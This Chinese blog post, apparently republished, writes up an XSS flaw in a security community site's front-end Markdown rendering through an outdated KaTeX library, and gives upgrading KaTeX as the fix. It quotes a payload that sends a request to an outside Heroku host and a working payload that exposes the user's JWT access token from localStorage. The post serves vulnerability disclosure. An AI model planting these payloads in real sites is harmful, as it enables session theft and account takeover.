发表时间:2021-07-09 17:05:12 来源:红帽社区 浏览:
次 【
大】【
中】【
小】
发现朋友圈都在转发Sec-IN社区的公测信息,我也注册了一个账号。作为一个安全人员,总是对新出现的业务安全性充满兴趣,于是打开控制台看看。
整体网站是vue开发,典型的前后端分离架构,后端使用RestFUL API通信方式,认证使用的jwt。这种架构比较新,传统的漏洞会相对少很多,像XSS这种重点就需要放在富文本这块。
看下功能,发现投稿支持Markdown,简单测试,是无法插入XSS Payload的。看下流量,发现返回的文章内容是markdown原文,而非Html,说明markdown是前端渲染的。
前端渲染Markdown,肯定使用的开源组件,看流量发现加载了katex.min.js:
之前没用过这个组件,搜索一下漏洞:
- https://github.com/KaTeX/KaTeX/issues/1160
- https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/
- https://gitlab.com/gitlab-org/gitter/webapp/issues/1859
文章里有说到Payload:
$$ \< id="iplog">x=new XMLHttpRequest(); x.open("GET", "https://afternoon-fjord-12487.herokuapp.com/"); x.send();document.getElementById("id").parent.parent.style = "display:none"</> $$
测试一下发现标签渲染了,漏洞存在:
但是js没执行,原因是没有触发这个js的条件,因为此时标签已经写入了。
改成如下payload即可触发:
$$ \< input type=image src=/static/css/img/logo.23d7be3.svg =alert(localStorage.access_token)> $$
我这里演示的是将locaStorage里的localStorage.access_token
弹出来。因为Sec-IN社区全站使用JWT进行认证,拿到这个Access Token也就等于获取了他人权限,不会受到Cookie里安全限制的影响。
如何修复这个问题呢?只需要将katex升级到最新版。
<p>发现朋友圈都在转发Sec-IN社区的公测信息,我也注册了一个账号。作为一个安全人员,总是对新出现的业务安全性充满兴趣,于是打开控制台看看。</p>
<p>整体网站是vue开发,典型的前后端分离架构,后端使用RestFUL API通信方式,认证使用的jwt。这种架构比较新,传统的漏洞会相对少很多,像XSS这种重点就需要放在富文本这块。</p>
<p>看下功能,发现投稿支持Markdown,简单测试,是无法插入XSS Payload的。看下流量,发现返回的文章内容是markdown原文,而非Html,说明markdown是前端渲染的。</p>
<p>前端渲染Markdown,肯定使用的开源组件,看流量发现加载了katex.min.js:</p>
<p><img src="https://www.redhatzone.com/img/sin/M00/00/21/wKg0C16YP_SALZE7AAB3J2LzzFU930.png" alt="image20200415192252830.png" /></p>
<p>之前没用过这个组件,搜索一下漏洞:</p>
<ul>
<li>https://github.com/KaTeX/KaTeX/issues/1160</li>
<li>https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/</li>
<li>https://gitlab.com/gitlab-org/gitter/webapp/issues/1859</li>
</ul>
<p>文章里有说到Payload:</p>
<pre><code class="lang-">$$ \< id="iplog">x=new XMLHttpRequest(); x.open("GET", "https://afternoon-fjord-12487.herokuapp.com/"); x.send();document.getElementById("id").parent.parent.style = "display:none"</> $$
</code></pre>
<p>测试一下发现标签渲染了,漏洞存在:</p>
<p><img src="https://www.redhatzone.com/img/sin/M00/00/21/wKg0C16YQJiAHPhbAABn22KRoYg490.png" alt="image.png" /></p>
<p>但是js没执行,原因是没有触发这个js的条件,因为此时标签已经写入了。</p>
<p>改成如下payload即可触发:</p>
<pre><code class="lang-">$$ \< input type=image src=/static/css/img/logo.23d7be3.svg =alert(localStorage.access_token)> $$
</code></pre>
<p><img src="https://www.redhatzone.com/img/sin/M00/00/21/wKg0C16YP_-AZ6bSAABIeYRDuTc046.png" alt="image20200415192027702.png" /></p>
<p>我这里演示的是将locaStorage里的<code>localStorage.access_token</code>弹出来。因为Sec-IN社区全站使用JWT进行认证,拿到这个Access Token也就等于获取了他人权限,不会受到Cookie里安全限制的影响。</p>
<p>如何修复这个问题呢?只需要将katex升级到最新版。</p>
责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。